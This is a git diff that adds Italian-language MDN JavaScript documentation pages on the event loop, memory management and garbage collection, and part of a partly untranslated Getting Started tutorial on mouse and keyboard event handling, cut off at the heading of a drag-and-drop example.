+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:specification_drafts" title="http://wiki.ecmascript.org/doku.php?id=harmony:specification_drafts">ECMAScript 6 specification drafts</a></li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=694100" title="https://bugzilla.mozilla.org/show_bug.cgi?id=694100">Mozilla Harmony tracking bug</a></li>
+</ul>
diff --git a/files/it/web/javascript/eventloop/index.html b/files/it/web/javascript/eventloop/index.html
new file mode 100644
index 0000000000..2d68168864
--- /dev/null
+++ b/files/it/web/javascript/eventloop/index.html
@@ -0,0 +1,106 @@
+---
+title: Modello di parallelismo ed Event Loop
+slug: Web/JavaScript/EventLoop
+translation_of: Web/JavaScript/EventLoop
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<div>Javascript ha un modello di parallelismo basato su un "event loop". Questo modello è abbastanza differente dai modelli degli altri linguaggi quali, per esempio, C e Java.</div>
+
+<div></div>
+
+<h2 id="Runtime">Runtime</h2>
+
+<p>Questa sezione descrive un modello teorico. I moderni engine JavaScript implementano ed ottimizzano pesantemente la semantica descritta.</p>
+
+<h3 id="Rappresentazione_grafica">Rappresentazione grafica</h3>
+
+<p style="text-align: center;"><img alt="Stack, heap, queue" src="/files/4617/default.svg" style="height: 270px; width: 294px;"></p>
+
+<h3 id="Stack">Stack</h3>
+
+<p>Chiamate di funzioni da uno stack di <em>frames</em>.</p>
+
+<pre class="brush: js">function f(b){
+  var a = 12;
+  return a+b+35;
+}
+
+function g(x){
+  var m = 4;
+  return f(m*x);
+}
+
+g(21);
+</pre>
+
+<p>Quando viene invocata <code>g</code>, viene creato un primo frame contenente gli argomenti di <code>g </code>e le variabili locali. Quando <code>g </code>invoca <code>f, </code>viene creato un secondo frame con un'operazione di push sopra il primo, contenente gli argomenti di <code>f</code> e le variabili locali. Quando <code>f </code>esce con il return, viene effettuata un'operazione di pop sullo stack (nel quale rimane quindi solo <code>g</code>). Quando anche <code>g</code> effettua il return, lo stack rimane vuoto.</p>
+
+<h3 id="Heap">Heap</h3>
+
+<p>L'heap indica una grande regione di memoria perlopiù non strutturata.</p>
+
+<h3 id="Queue">Queue</h3>
+
+<p>Un runtime JavaScript contiene una coda(queue) di messaggi, ossia una lista di messaggi da essere processati. Ad ogni messaggio è associata una funzione. Quando lo stack è vuoto, viene estratto un messaggio dalla coda e processato, ossia viene chiamata la funzione associata (e, pertanto, viene creato un frame nello stack). L'elaborazione dei messaggi finisce quando lo stack ritorna ad essere vuoto.</p>
+
+<h2 id="Event_loop">Event loop</h2>
+
+<p>L'event loop prende il suo nome dalla modalità con cui viene normalmente implementato, ossia tipicamente: </p>
+
+<pre class="brush: js">while(queue.waitForMessage()){
+  queue.processNextMessage();
+}</pre>
+
+<p><code>queue.waitForMessage</code> attende che arrivi un messaggio quando non c'e' ne sono.</p>
+
+<h3 id="Run-to-completion">"Run-to-completion"</h3>
+
+<p>Ogni messaggio viene completamente elaborato prima di passare ad un altro. Questa dinamica offre alcune comode proprietà quando si ragiona sul proprio programma, incluso il fatto che, fino a che una funzione è in esecuzione, non c'è modo di bloccarla (pre-emption) e completerà la propria esecuzione prima che un altro codice possa essere eseguito (e possa manipolare i dati che la funzione manipola). Questo è completamente diverso dal C, ad esempio, dove, se una funzione è eseguita in un thread, può essere bloccata in qualsiasi momento per eseguire altro codice di un altro thread.   </p>
+
+<p>Un aspetto negativo di questo modello sta nel fatto che se un messaggio impiega troppo tempo ad essere processato, l'applicazione web non puà elaborare le interazioni dell'utente, come i click o gli scroll. Il browser in qualche modo mitiga questa situazione con la finestra "uno script sta impiegando troppo tempo a completare". Una buona pratica da seguire è di implementare l'elaborazione di un messaggio in modo che impieghi poco tempo e, se possibile, suddividere un messaggio in più messaggi.</p>
+
+<h3 id="Aggiungere_messaggi">Aggiungere messaggi</h3>
+
+<p>Nei browser web, i messaggi sono continuamente aggiunti ogni qualvolta si verifica un evento con un event listener associato. Quindi il click ad un elemento con un un handler associato aggiungerà un messaggio--così come ogni altro evento.</p>
+
+<p>Una chiamata alla funzione <code><a href="/en-US/docs/Web/API/WindowTimers.setTimeout">setTimeout</a> </code>aggiunge un messaggio alla coda dopo che il tempo indicato come secondo argomento è trascorso. Se non c'è nessun altro messaggio nella coda, il messaggio è processato immediatamente; al contrario, se ci sono altri messaggi, il messaggio aggiunto da <code>setTimeout </code>dovrà attendere che gli altri messaggi vengano processati. Per questa ragione il secondo argomento di questa funzione indica un tempo minimo e non un tempo garantito.</p>
+
+<h3 id="Intervallo_zero">Intervallo zero</h3>
+
+<p>Zero delay non significa in realtà che la funzione di callback verrà attivata dopo zero millisecondi. Una chiamata a {{domxref("WindowTimers.setTimeout", "setTimeout")}} con un delay di 0 (zero) millisecondi, non esegue la funzione di callback dopo l'intervallo di tempo passato. L'esecuzione dipende dal numero di task in attesa nella coda. Nel seguente esempio il messaggio "this is just a message" verrà stampato a console prima che il messaggio della callback venga processato, perchè il ritardo è il minimo tempo richiesto per elaborare la richiesta, non un tempo garantito.</p>
+
+<pre class="brush: js">(function () {
+
+  console.log('this is the start');
+
+  setTimeout(function cb() {
+    console.log('this is a msg from call back');
+  });
+
+  console.log('this is just a message');
+
+  setTimeout(function cb1() {
+    console.log('this is a msg from call back1');
+  }, 0);
+
+  console.log('this is the end');
+
+})();
+
+// "this is the start"
+// "this is just a message"
+// "this is the end"
+// "this is a msg from call back"
+// "this is a msg from call back1"
+</pre>
+
+<h3 id="Più_Runtime_in_comunicazione_tra_loro">Più Runtime in comunicazione tra loro</h3>
+
+<p>Un web worker oppure un <code>iframe </code>cross-origin hanno i loro stack, heap e coda di messaggi. Due runtime distinti possono comunicare esclusivamente attraverso il metodo <code><a href="/en-US/docs/DOM/window.postMessage">postMessage</a>. </code>Questo metodo aggiunge il messaggio all'altro runtime se quest'ultimo è in ascolo degli eventi dei messaggi.</p>
+
+<h2 id="Non_bloccante">Non bloccante</h2>
+
+<p>Una proprietà molto interessante del modello event loop è che JavaScript, a differenza di molti altri linguaggi, non è mai bloccante. La gestione delle operazionei di I/O è tipicamente eseguita mediante eventi e callback, pertanto quando l'applicazione è in attesa che una query  <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> restituisca il risultato oppure una richiesta di tipo <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> completi, può nel frattempo continuare a processare altre cose quali, ad esempio, gli user input.</p>
+
+<p>Esistono delle eccezioni dovuti alla legacy quali <code>alert </code>oppure le richieste sincrone XHR, ma è considerata una buona pratica evitarle. Attenzione: esistono anche <a href="http://stackoverflow.com/questions/2734025/is-javascript-guaranteed-to-be-single-threaded/2734311#2734311">eccezioni alle eccezioni</a> (ma sono solitamente bachi implementativi o altro).</p>
diff --git a/files/it/web/javascript/gestione_della_memoria/index.html b/files/it/web/javascript/gestione_della_memoria/index.html
new file mode 100644
index 0000000000..d1cd6c4dca
--- /dev/null
+++ b/files/it/web/javascript/gestione_della_memoria/index.html
@@ -0,0 +1,197 @@
+---
+title: Gestione della memoria
+slug: Web/JavaScript/Gestione_della_Memoria
+translation_of: Web/JavaScript/Memory_Management
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<h2 id="Introduzione">Introduzione</h2>
+
+<p>Alcuni linguaggi di programmazione, come ad esempio C e C++, possiedono funzioni per la gestione della memoria a basso livello come <code>malloc()</code> e <code>free()</code>; in JavaScript l'allocazione e la de-allocazione della memoria (oggetti, stringhe, ecc.) avviene "automaticamente" grazie alla presenza del <em>Garbage Collection</em>. Il termine "automaticamente" è spesso fonte di confusione tra i programmatori JavaScript (e di altri linguaggi ad alto livello) poichè da l'impressione che si possa non preoccuparsi riguardo la gestione della memoria. Questo è un errore!</p>
+
+<h2 id="Ciclo_di_vita_della_memoria">Ciclo di vita della memoria</h2>
+
+<p>A prescindere dal linguaggio di programmazione, il ciclo di vita della memoria è pressappoco sempre lo stesso:</p>
+
+<ol>
+ <li>Allocazione della memoria necessaria</li>
+ <li>Utilizzo della memoria (scrittura, lettura)</li>
+ <li>Rilascio della memoria allocata quando non è più necessaria</li>
+</ol>
+
+<p>I primi due punti sono espliciti in tutti i linguaggi; l'ultimo invece è esplicito nei linguaggi a basso livello, mentre il più delle volte implicito nei linguaggi ad alto livello come JavaScript.</p>
+
+<h3 id="Allocazione_in_JavaScript">Allocazione in JavaScript</h3>
+
+<h4 id="Inizializzazione_con_valore">Inizializzazione con valore</h4>
+
+<p>Per evitare che il programmatore debba allocare ogni variabile utilizzata, JavaScript lo fa contestualmente alla dichiarazione:</p>
+
+<pre class="brush: js">var n = 123; // alloca memoria per un numero
+var s = "qwerty"; // alloca memoria per una stringa
+
+var o = {
+  a: 1,
+  b: null
+}; // alloca memoria per un oggetto e i valori contenuti
+
+// (come un oggetto) alloca memoria per l'array e i valori contenuti
+var a = [1, null, "abra"];
+
+function f(a){
+  return a + 2;
+} // alloca una funzione (cioè un oggetto invocabile)
+
+// istruzioni più complesse anche allocano un oggetto
+someElement.addEventListener('click', function(){
+  someElement.style.backgroundColor = 'blue';
+}, false);
+</pre>
+
+<h4 id="Allocazione_via_chiamata_di_funzione">Allocazione via chiamata di funzione</h4>
+
+<p>La chiamata di alcune funzioni risultano nell'allocazione di un oggetto, come nel seguente esempio:</p>
+
+<pre class="brush: js">var d = new Date();
+// alloca un DOM element
+var e = document.createElement('div');
+</pre>
+
+<p>Alcuni metodi allocano nuovi valori od oggetti:</p>
+
+<pre class="brush: js">var s = "qwerty";
+var s2 = s.substr(0, 3); // s2 è una nuova stringa
+// Dato che le stringhe sono valori immutabili,
+// JavaScript può decidere di non allocare memoria per una nuova stringa,
+// ma semplicemente di salvare il range [0, 3].
+
+var a = ["ouais ouais", "nan nan"];
+var a2 = ["generation", "nan nan"];
+var a3 = a.concat(a2);
+// Un nuovo array di 4 elementi, la concatenazione degli elementi di a e a2
+</pre>
+
+<h3 id="Utilizzo_dei_valori">Utilizzo dei valori</h3>
+
+<p>Usare i valori in sostanza significa accedere alla memoria allocata. Questo può essere fatto leggendo o scrivendo il valore di una variabile, di una proprietà di un oggetto, o anche semplicemente passando un argomento a una funzione.</p>
+
+<h3 id="Rilascio_della_memoria_quando_non_più_necessaria">Rilascio della memoria quando non più necessaria</h3>
+
+<p>La maggior parte dei problemi riguardo la gestione della memoria arrivano in questa fase; L'impresa più difficile è determinare quando "la memoria allocata non è più necessaria". Ciò si traduce per il programmatore in individuare dove, nel codice, questo pezzo di memoria non risulta più necessario, e quindi liberarlo.</p>
+
+<p>I linguaggi ad alto livello hanno una funzionalità chiamata "Garbage Collector" il cui compito è di seguire l'allocazione e l'uso della memoria così da determinare quando una porzione della memoria allocata non è più necessaria e liberarla automaticamente. Questo processo è un approssimazione dato che il problema generico di conoscere se una porzione di memoria serve o no è <a class="external external-icon" href="http://en.wikipedia.org/wiki/Decidability_%28logic%29">irrisolvibile</a> (non può essere risolto da un algoritmo).</p>
+
+<h2 id="Garbage_Collection">Garbage Collection</h2>
+
+<p>Partendo dal presupposto che il generico problema di sapere dove una determinata porzione di memoria "non serve più" è irrisolvibile, come conseguenza, l'implementazione dei garbege collection sono una restrizione della soluzione del problema generico. Questa sezione illustra le nozioni necessarie a capire il funzionamento dei principali algoritmi che implementano i garbage collection e le loro limitazioni.</p>
+
+<h3 id="Referenze">Referenze</h3>
+
+<p>L'idea principale su cui si basano gli algoritmi di garbage collection sono le <em>referenze</em>. Nel contesto della gestione della memoria, un oggetto è <em>referente</em> di un altro se può accedere a quest'ultimo (sia in modo implicito che esplicito). Ad esempio, un oggetto JavaScript è referente del suo <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">prototype</a> (referenza implicita) e ai valori delle sue proprietà (referenza esplicita).</p>
+
+<p>In questo contesto, il concetto di "oggetto" si estende a qualcosa di molto più ampio rispetto al tradizionale concetto di "oggetto JavaScript" e contiene function scopes (or the global lexical scope).</p>
+
+<h3 id="Reference-counting_garbage_collection">Reference-counting garbage collection</h3>
+
+<p>Quello qui descritto è l'algoritmo di garbage collection più semplice. Esso riduce il problema da "quando un oggetto non serve più" a "quando un oggetto non è più referenziato da nessun altro oggetto". Un oggetto è considerato garbage collectable (letteralmente, spazzatura da raccogliere) se nessun altro oggetto ha almeno una referenza ad esso.</p>
+
+<h4 id="Esempio">Esempio</h4>
+
+<pre class="brush: js">var o = {
+  a: {
+    b:2
+  }
+};
+// Alloca 2 oggetti. Il primo è referenziato dall'altro come sua proprietà.
+// L'altro è referenziato dalla <s>dalla virtù di essere assegnato alla</s> variabile 'o'.
+// Ovviamente, nessuno dei due può essere cancellato per liberare memoria
+
+
+var o2 = o; // la variabile 'o2' è il secondo oggetto
+            // che referenzia lo stesso oggetto di 'o'
+o = 1;      // ora l'oggetto che originariamente era in 'o' ha un'unica referenza
+            // rappresentata dalla variabile 'o2'
+
+var oa = o2.a; // referenza alla proprietà 'a' dell'oggetto.
+               // Quest'oggetto ora ha 2 referenze: una come proprietà di 'o2'
+               // e una come variabile 'oa'
+
+o2 = "yo"; // L'oggetto che originariamente era in 'o' adesso non
+           // più alcuna referenza e può essere cancellato.
+           // Però la sua proprietà 'a' è ancora referenziata
+           // dall'oggetto 'oa', quindi non può essere ancora eliminato
+
+oa = null; // la proprietà 'a' del precedente oggetto adesso non ha
+           // alcuna referenza. Può essere cancellata.
+</pre>
+
+<h4 id="Limitazione_cicli_di_referenze">Limitazione: cicli di referenze</h4>
+
+<p>Questo algotitmo ha una limitazione quando entra in un ciclo di referenze. Nell'esempio seguente sono creati due oggetti che si referenziano a vicenda, uno referenzia l'altro e viceversa, creando un ciclo di referenze (dipendenza ciclica). In questo modo ogni oggetto ha almento una referenza, l'algoritmo del reference-countig (ovvero quello che "conta" quante referenze ha un oggetto) da come risultato che nessuno dei due oggetti può essere cancellato (non sono garbage-collactable).</p>
+
+<pre class="brush: js">function f(){
+  var o = {};
+  var o2 = {};
+  o.a = o2; // o referenzia o2
+  o2.a = o; // o2 referenzia o
+
+  return "qwerty";
+}
+
+f();
+// Two objects are created and reference one another thus creating a cycle.
+// They will not get out of the function scope after the function call, so they
+// are effectively useless and could be free'd.
+// However, the reference-counting algorithm considers that since each of both
+// object is referenced at least once, none can be garbage-collected.
+</pre>
+
+<h4 id="Esempio_reale">Esempio reale</h4>
+
+<p>Internet Explorer 6 e 7 sono conosciuti per avere un <em>reference-counting garbage collector</em> per gli oggetti DOM. I cicli di referenze sono errori comuni che possono generare uno spreco di memoria (memory leaks).</p>
+
+<pre class="brush: js">var div;
+window.onload = function(){
+  div = document.getElementById("myDivElement");
+  div<span style="font-size: 1rem;">.circularReference = div;</span>
+  div.lotsOfData = new Array(10000).join("*");
+};
+</pre>
+
+<p>Nell'esempio precedente, l'elemento "myDivElement" ha una referenza circolare con se stesso nella proprietà "circularReference". Se la proprietà non è esplicitamente rimossa o annullata, un <em>reference-counting garbage collector </em>avrà sempre almeno una referenza intatta che manterrà l'elemento in memoria anche se esso fosse rimosso dal DOM. Se un oggetto trattiene molta memoria e ha almeno una referenza (come illustrato nell'esempio precedente con la proprietà "lotsOfData") la memoria da esso occupata non sarà mai rilasciata.</p>
+
+<h3 id="L'algoritmo_mark-and-sweep">L'algoritmo mark-and-sweep</h3>
+
+<p>Questo algoritmo è il più famoso degli algoritmi di tracing; la tecnica del tracing è concettualmente molto semplice e si basa sulla definizione "quando un oggetto diventa irraggiungibile".</p>
+
+<p>Essa consiste nel prendere come riferimento gli oggetti root (indice dell'albero) e, partendo da essi, mediante una ricorsione, marcare (tramite un bit o una mappa distinta) tutti gli oggetti collegati tra loro da un riferimento. Al termine di questa operazione, gli oggetti raggiungibili saranno marcati mentre quelli non raggiungibili saranno eliminati.</p>
+
+<p>L'algoritmo mark-and-sweep (marca e butta via) si suddivide in due fasi: la prima fase (<em>mark</em>) nella quale l'algoritmo marca tutti gli oggetti che hanno almeno un riferimento attivo; nella seconda fase (<em>sweep</em>) nella quale tutti gli oggetti non marcati vengono liberati e la memoria viene restituita.</p>
+
+<p>A differenza della tecnica del reference counting il cui il costo dell'algoritmo è proporzionale all'ammontare del lavoro eseguito dal programma (ogni volta che si alloca/dealloca un oggetto bisogna creare-incrementare/decrementare il contatore), la tecnica del tracing è proporzionale alla dimensione della memoria ed è sicuramente più efficiente.</p>
+
+<h4 id="I_cicli_non_sono_più_un_problema">I cicli non sono più un problema</h4>
+
+<p>Nel primo esempio, dopo che la funzione ha restituito un risultato, i 2 oggetti non sono più referenziati da nessun altro oggetto raggiungibile dall'oggetto globale (root). Ne consegue che saranno irraggiungibili dal garbage collector e quindi eleminati.</p>
+
+<p>La stessa cosa accade con il secondo esempio. Una volta che il div e la sua variabile sono diventati irraggiungibili dalle radici, essi possono essere cancellati nonostante abbiano una referenza ciascuno.</p>
+
+<h4 id="Limitazione_gli_oggetti_devono_essere_esplicitamente_irragiungibili">Limitazione: gli oggetti devono essere esplicitamente irragiungibili</h4>
+
+<p>Sebbene sia marcata come una limitazione, è raramente raggiunta in pratica ed è anche il motivo per cui nessuno si preoccupa, di solito, dei garbage collector.</p>
+
+<blockquote>
+<h4 id="Piccolo_appunto_italiano">Piccolo appunto italiano</h4>
+
+<p>Tutte le parole <s>tagliate</s> sono state tradotte letteralmente ma in modo che la frase non perda di significato.</p>
+
+<p dir="rtl">cit. Il traduttore</p>
+</blockquote>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://www.ibm.com/developerworks/web/library/wa-memleak/">IBM article on "Memory leak patterns in JavaScript" (2007)</a></li>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/magazine/ff728624.aspx">Kangax article on how to register event handler and avoid memory leaks (2010)</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Performance" title="https://developer.mozilla.org/en-US/docs/Mozilla/Performance">PerformancC</a></li>
+</ul>
diff --git a/files/it/web/javascript/getting_started/index.html b/files/it/web/javascript/getting_started/index.html
new file mode 100644
index 0000000000..8fa4f4fd0c
--- /dev/null
+++ b/files/it/web/javascript/getting_started/index.html
@@ -0,0 +1,330 @@
+---
+title: Getting Started (JavaScript Tutorial)
+slug: Web/JavaScript/Getting_Started
+translation_of: Learn/Getting_started_with_the_web/JavaScript_basics
+---
+<h2 id="Why_JavaScript.3F" name="Why_JavaScript.3F">Perché JavaScript?</h2>
+<p>JavaScript è un linguaggio per computer potente, complicato, e spesso misconosciuto. Permette lo sviluppo rapido di applicazioni in cui gli utenti possono inserire i dati e vedere i risultati facilmente.</p>
+<p>Il vantaggio primario di JavaScript, che è anche conosciuto come ECMAScript, è che è centrato intorno al Web browser, così da avere la capacità di produrre gli stessi risultati su tutte le piattaforme supportate dal browser. Gli esempi in questa pagina, proprio come Google Maps, girano su Linux, Windows, e OS X. Con la recente crescita di numerose librerie JavaScript è ora più facile traversare un documento, selezionare gli elementi del DOM, creare animazioni, trattare eventi, e sviluppare applicazioni Ajax. Diversamente dalla promozione intorno alle altre tecnologie spinta da vari interessi proprietari, JavaScript è realmente il solo linguaggio di programmazione "cross-platform" e "client-side" che è sia libero che universalmente adottato.</p>
+<h2 id="What_you_should_already_know" name="What_you_should_already_know">Cosa dovresti già conoscere</h2>
+<p>Iniziare a programmare con JavaScript è molto semplice. Tutto quello che serve per cominciare è un editor di testo e un Web browser.</p>
+<p>Ci sono molte altre tecnologie che possono essere integrate e sviluppate insieme a Javascript che sono al di fuori di questo documento. Non aspettarti di fare un'intera applicazione come Google Maps tutta nel tuo primo giorno!</p>
+<h2 id="Getting_Started" name="Getting_Started">Come iniziare</h2>
+<p>Iniziare con JavaScript è molto semplice. Non devi aver precedentemente installato complicati programmi di sviluppo. Non devi conoscere come usare una shell, programmare Make, o usare un compilatore. JavaScript è interpretato dal tuo Web browser. Tutto quello che hai da fare è salvare il tuo programma come file testo e poi aprirlo nel tuo Web browser. E' tutto qui!</p>
+<p>JavaScript è un linguaggio di programmazione ideale per linguaggi di computer introduttivi. Permette ai nuovi studenti di avere risposte immediate e insegna loro strumenti che essi troveranno di facile uso nella loro vita reale. Ciò è in assoluto contrasto con C, C++, and Java che sono veramente facili solo per sviluppatori software specializzati.</p>
+<h2 id="Browser_Compatibility_Issues" name="Browser_Compatibility_Issues">Browser compatibility issues</h2>
+<p>There are variations between what functionality is available in the different browsers. Mozilla, Chrome, Microsoft IE, Apple Safari, and Opera fluctuate in behavior. You can mitigate these issues by using the various cross-platform JavaScript APIs that are available. These APIs provide common functionality and hide these browser fluctuations from you.</p>
+<h2 id="How_to_try_the_Examples" name="How_to_try_the_Examples">How to try the examples</h2>
+<p>The examples below have some sample code. There are many ways to try these examples out. If you already have your own website, then you should be able to just save these examples as new Web pages on your website.</p>
+<p>If you do not have your own website, you can save these examples as files on your computer and open them up with the Web browser you are using now. JavaScript is a very easy language to use for beginning programmers for this reason. You don't need a compiler or a development environment; you and your browser are all you need to get started!</p>
+<p>You can also take use of some online programs like <a href="http://jsfiddle.net/">jsfiddle.net</a></p>
+<h2 id="Example:_Catching_a_mouse_click" name="Example:_Catching_a_mouse_click">Example: Catching a mouse click</h2>
+<p>The specifics of event handling (event types, handler registration, propagation, etc.) are too extensive to be fully covered in this simple example. However, this example cannot demonstrate catching a mouse click without delving a little into the JavaScript event system. Just keep in mind that this example will only graze the full details about JavaScript events and that if you wish to go beyond the basic capabilities described here, read more about the JavaScript event system.</p>
+<p>'Mouse' events are a subset of the total events issued by a Web browser in response to user actions. The following is a list of the events emitted in response to a user's mouse action:</p>
+<ul>
+ <li>Click - issued when a user clicks the mouse</li>
+ <li>DblClick - issued when a user double-clicks the mouse</li>
+ <li>MouseDown - issued when a user depresses a mouse button (the first half of a click)</li>
+ <li>MouseUp - issued when a user releases a mouse button (the second half of a click)</li>
+ <li>MouseOut - issued when the mouse pointer leaves the graphical bounds of the object</li>
+ <li>MouseOver - issued when the mouse pointer enters the graphical bounds of the object</li>
+ <li>MouseMove - issued when the mouse pointer moves while within the graphical bounds of the object</li>
+ <li>ContextMenu - issued when the user clicks using the right mouse button</li>
+</ul>
+<p>Note that in the latest versions of HTML, the inline event handlers, i.e. the ones added as tag attributes, are expected to be all lowercase and that event handlers in script are always all lowercase.</p>
+<p>The simplest method for capturing these events, to register event handlers - using HTML - is to specify the individual events as attributes for your element. Example:</p>
+<pre class="brush:js">  &lt;span onclick="alert('Hello World!');"&gt;Click Here&lt;/span&gt;</pre>
+<p>The JavaScript code you wish to execute can be inlined as the attribute value or you can call a function which has been defined in a &lt;script&gt; block within the HTML page:</p>
+<pre class="brush:js">&lt;script&gt;
+  function clickHandler() {
+     alert("Hello, World!");
+  }
+&lt;/script&gt;
+&lt;span onclick="clickHandler();"&gt;Click Here&lt;/span&gt;</pre>
+<p>Additionally, the event object which is issued can be captured and referenced, providing the developer with access to specifics about the event such as which object received the event, the event's type, and which mouse button was clicked. Using the inline example again:</p>
+<pre class="brush:js">&lt;script&gt;
+  function clickHandler(event) {
+    var eType = event.type;
+    /* the following is for compatibility */
+    /* Moz populates the target property of the event object */
+    /* IE populates the srcElement property */
+    var eTarget = event.target || event.srcElement;
+
+    alert( "Captured Event (type=" + eType + ", target=" + eTarget + ")" );
+  }
+&lt;/script&gt;
+&lt;span onclick="clickHandler(event);"&gt;Click Here&lt;/span&gt;</pre>
+<p>In addition to registering to receive events in your HTML, you can likewise set the same attributes of any HTMLElement objects generated by your JavaScript. The example below instantiates (creates) a span object, appends it to the page body, and registers the span object to receive mouse-over, mouse-out, mouse-down, and mouse-up events.</p>
+<pre class="brush:js">&lt;body&gt;&lt;/body&gt;
+&lt;script&gt;
+  function mouseeventHandler(event) {
+    /* The following is for compatibility */
+    /* IE does NOT by default pass the event object */
+    /* obtain a ref to the event if one was not given */
+    if (!event) event = window.event;
+
+    /* obtain event type and target as earlier */
+    var eType = event.type;
+    var eTarget = event.target || event.srcElement;
+    alert(eType +' event on element with id: '+ eTarget.id);
+  }
+
+ function onloadHandler() {
+   /* obtain a ref to the 'body' element of the page */
+   var body = document.body;
+   /* create a span element to be clicked */
+   var span = document.createElement('span');
+   span.id = 'ExampleSpan';
+   span.appendChild(document.createTextNode ('Click Here!'));
+
+   /* register the span object to receive specific mouse events -
+      notice the lowercase of the events but the free choice in the names of the handlers you replace them with.
+   */
+   span.onmousedown = mouseeventHandler;
+   span.onmouseup = mouseeventHandler;
+   span.onmouseover = mouseeventHandler;
+   span.onmouseout = mouseeventHandler;
+
+   /* display the span on the page */
+   body.appendChild(span);
+}
+
+window.onload = onloadHandler; // since we replace the handler, we do NOT have () after the function name
+&lt;/script&gt;</pre>
+<h2 id="Example:_Catching_a_keyboard_event" name="Example:_Catching_a_keyboard_event">Example: Catching a keyboard event</h2>
+<p>Similar to the "Catching a mouse event" example above, catching a keyboard event relies on exploring the JavaScript event system. Keyboard events are fired whenever any key is used on the keyboard.</p>
+<p>The list of available keyboard events emitted in response to a keyboard action is considerably smaller than those available for mouse:</p>
+<ul>
+ <li>KeyPress - issued when a key is depressed and released</li>
+ <li>KeyDown - issued when a key is depressed but hasn't yet been released</li>
+ <li>KeyUp - issued when a key is released</li>
+ <li>TextInput (available in Webkit browsers only at time of writing) - issued when text is input either by pasting, speaking, or keyboard. This event will not be covered in this article.</li>
+</ul>
+<p>In a <a class="new " href="/en-US/docs/DOM/event/keypress" rel="internal">keypress</a> event, the Unicode value of the key pressed is stored in either the <code>keyCode</code> or <code><a href="/en-US/docs/DOM/event.charCode" rel="internal">charCode</a></code> property, never both. If the key pressed generates a character (e.g., 'a'), <code>charCode</code> is set to the code of that character, respecting the letter case (i.e., <code>charCode</code> takes into account whether the shift key is held down). Otherwise, the code of the pressed key is stored in <code>keyCode</code>.</p>
+<p>The simplest method for capturing keyboard events is again to register event handlers within the HTML, specifying the individual events as attributes for your element. Example:</p>
+<pre class="brush:js">  &lt;input type="text" onkeypress="alert ('Hello World!');"&gt;
+</pre>
+<p>As with mouse events, the JavaScript code you wish to execute can be inlined as the attribute value or you can call a function which has been defined in a &lt;script&gt; block within the HTML page:</p>
+<pre class="brush:js">&lt;script&gt;
+  function keypressHandler() {
+    alert ("Hello, World!");
+  }
+&lt;/script&gt;
+
+&lt;input onkeypress="keypressHandler();" /&gt;
+</pre>
+<p>Capturing the event and referencing the target (i.e., the actual key that was pressed) is achieved in a similar way to mouse events:</p>
+<pre class="brush:js">&lt;script type="text/javascript"&gt;
+  function keypressHandler(evt) {
+      var eType = evt.type; // Will return "keypress" as the event type
+      /* here we again need to use a cross browser method
+         mozilla based browsers return which and others keyCode.
+         The <a href="/en-US/docs/JavaScript/Reference/Operators/Conditional_Operator" title="/en-US/docs/JavaScript/Reference/Operators/Conditional_Operator">Conditional operator</a> or ternary is a good choice */
+      var keyCode = evt.which?evt.which:evt.keyCode;
+      var eCode = 'keyCode is ' + keyCode;
+      var eChar = 'charCode is ' + <span class="typ" style="background-color: transparent; margin: 0px; padding: 0px; border: 0px; vertical-align: baseline; color: rgb(43, 145, 175);">String</span><span class="pun" style="background-color: transparent; color: rgb(0, 0, 0); margin: 0px; padding: 0px; border: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-color: transparent; color: rgb(0, 0, 0); margin: 0px; padding: 0px; border: 0px; vertical-align: baseline;">fromCharCode(</span>keyCode); // or evt.charCode
+      alert ("Captured Event (type=" + eType + ", key Unicode value=" + eCode + ", ASCII value=" + eChar + ")");
+   }
+&lt;/script&gt;
+&lt;input onkeypress="keypressHandler(event);" /&gt;</pre>
+<p>Capturing any key event from the page can be done by registering the event at the document level and handling it in a function:</p>
+<pre class="brush:js">&lt;script&gt;
+  document.onkeypress = keypressHandler;
+  document.onkeydown = keypressHandler;
+  document.onkeyup = keypressHandler;
+&lt;/script&gt;</pre>
+<p>Here is a complete example that shows key event handling:</p>
+<pre class="brush:js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;script&gt;
+    var metaChar = false;
+    var exampleKey = 16;
+    function keyEvent(event) {
+      var key = event.keyCode || event.which; // alternative to ternary - if there is no keyCode, use which
+      var keychar = String.fromCharCode(key);
+      if (key == exampleKey) {
+        metaChar = true;
+      }
+      if (key != exampleKey) {
+         if (metaChar) {
+            alert("Combination of metaKey + " + keychar)
+            metaChar = false;
+         } else {
+           alert("Key pressed " + key);
+         }
+      }
+    }
+    function metaKeyUp(event) {
+      var key = event.keyCode || event.which;
+      if (key == exampleKey) { metaChar = false; }
+    }
+  &lt;/script&gt;
+&lt;/head&gt;
+&lt;body onkeydown="keyEvent(event)" onkeyup="metaKeyUp(event)"&gt;
+    Try pressing any key!
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+<h3 id="Browser_bugs_and_quirks">Browser bugs and quirks</h3>
+<p>The two properties made available through the key events are <code>keyCode</code> and <code>charCode</code>. In simple terms, <code>keyCode</code> refers to the actual keyboard key that was pressed by the user, while <code>charCode</code> is intended to return that key's ASCII value. These two values may not necessarily be the same; for instance, a lower case 'a' and an upper case 'A' have the same <code>keyCode</code>, because the user presses the same key, but a different <code>charCode</code> because the resulting character is different.</p>
+<p>The way in which browsers interpret the charCode is not a consistently-applied process. For example, Internet Explorer and Opera do not support <code>charCode</code>. However, they give the character information in <code>keyCode</code>, but only onkeypress. Onkeydown and onkeyup <code>keyCode</code> contain key information. Firefox uses a different word, "which", to distinguish the character.</p>
+<p>Refer to the Mozilla Documentation on <a href="/en-US/docs/DOM/Event/UIEvent/KeyboardEvent" title="https://developer.mozilla.org/en-US/docs/DOM/Event/UIEvent/KeyEvent">Keyboard Events</a> for a further treatment of keyboard events.</p>
+<p>{{ draft() }}</p>
+<h2 id="Example:_Dragging_images_around" name="Example:_Dragging_images_around">Example: Dragging images around</h2>
